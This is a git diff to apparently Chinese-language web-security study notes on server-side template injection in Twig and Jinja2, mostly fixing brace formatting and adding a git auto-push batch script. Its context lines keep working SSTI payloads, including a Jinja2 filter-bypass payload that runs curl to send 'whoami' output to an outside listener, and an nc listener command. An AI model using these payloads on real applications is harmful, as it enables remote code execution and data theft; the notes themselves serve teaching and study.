diff --git a/02.WEB安全/11.模版注入.md b/02.WEB安全/11.模版注入.md index 9c4e8d3..4105d0d 100644 --- a/02.WEB安全/11.模版注入.md +++ b/02.WEB安全/11.模版注入.md @@ -162,7 +162,7 @@ echo $twig->render('tags.twig',[ ![img](11.模版注入/1685068449852-e93fa0ab-e941-46cf-8481-980ff6f99a06.png) -有两种形式的分隔符:{{% ... %} 和 {{{{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。 +有两种形式的分隔符:{{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。 需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版 @@ -395,7 +395,7 @@ echo $template->render(); ![img](11.模版注入/1685069357382-52e857cb-a1d6-41ce-bc16-16d64c5177a2.png) -这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{{{name}}`,而不是动态拼接的`$_GET["name"]`: +这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{name}}`,而不是动态拼接的`$_GET["name"]`: ```php "id"], "system") @@ -1033,12 +1033,12 @@ if __name__ == '__main__': 这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。 -{{{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{{{}}包裹的内容当做变量解析替换。比如{{{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 +{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 以flask的jinja2引擎为例,官方的模板语法如下: - {{% ... %} 用于声明,比如在使用for控制语句或者if语句时 -- {{{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式 +- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式 - {{# ... #} 用于模板注释 - \# ... ## 用于行语句,就是对语法的简化 - \#...#可以有和{{%%}相同的效果 @@ -1654,7 +1654,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定 这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。 -##### 5.2.7.5 过滤了大括号 {{{{ +##### 5.2.7.5 过滤了大括号 {{ 我们可以用Jinja2的 {{%...%} 语句装载一个循环控制语句来绕过: @@ -1670,7 +1670,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定 # 开启 nc 监听 nc -lvp 2333 ``` -也可以用 {{%print(......)%} 的形式来代替 {{{{ ,如下: +也可以用 {{%print(......)%} 的形式来代替 {{ ,如下: ```plain {%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%} @@ -1744,7 +1744,7 @@ __ . [ " ' request {{ _ %20(空格) [ ] . __globals__ __getitem__ ``` -我们用 {{%...%}绕过对 {{{{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 +我们用 {{%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 假设我们要构造的payload原型为: diff --git a/push.bat b/push.bat new file mode 100644 index 0000000..ad61e3b --- /dev/null +++ b/push.bat @@ -0,0 +1,27 @@ +@echo off +setlocal enabledelayedexpansion + +rem 获取当前日期和时间 +for /f "tokens=1-4 delims=/-. " %%i in ("%date%") do ( + set yyyy=%%i + set mm=%%j + set dd=%%k +) + +set hh=%time:~0,2% +set nn=%time:~3,2% +set ss=%time:~6,2% + +rem 去掉小时的空格 +if "%hh:~0,1%"==" " set hh=0%hh:~1,1% + +set commitmsg=%yyyy%-%mm%-%dd%_%hh%-%nn%-%ss% + +git config --global core.autocrlf input + +git add . +git rm --cached push.bat +git commit -m "%commitmsg%" +git push -u origin main + +endlocal \ No newline at end of file